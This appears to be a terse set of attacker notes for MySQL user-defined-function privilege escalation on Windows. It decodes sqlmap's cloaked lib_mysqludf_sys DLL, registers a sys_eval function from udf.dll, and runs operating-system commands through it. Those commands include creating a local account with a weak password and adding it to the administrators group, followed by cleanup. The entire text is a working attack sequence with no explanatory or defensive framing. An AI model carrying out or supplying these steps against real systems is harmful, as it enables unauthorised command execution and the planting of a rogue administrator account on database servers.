python3 cloak.py -d -i lib_mysqludf_sys.dll_
mysql> select @@plugin_dir;
mysql> create function sys_eval returns string soname 'udf.dll';
Query OK, 0 rows affected (0.02 sec)
mysql> select * from mysql.func where name = 'sys_eval';
mysql> select sys_eval('dir');
mysql> select sys_eval('net user');
mysql> select sys_eval('net user user1 123 /add');
mysql> select sys_eval('net localgroup administrators user1 /add');
mysql> select sys_eval('net user');
mysql> select sys_eval('net user user1 /del');
mysql> drop function sys_eval;
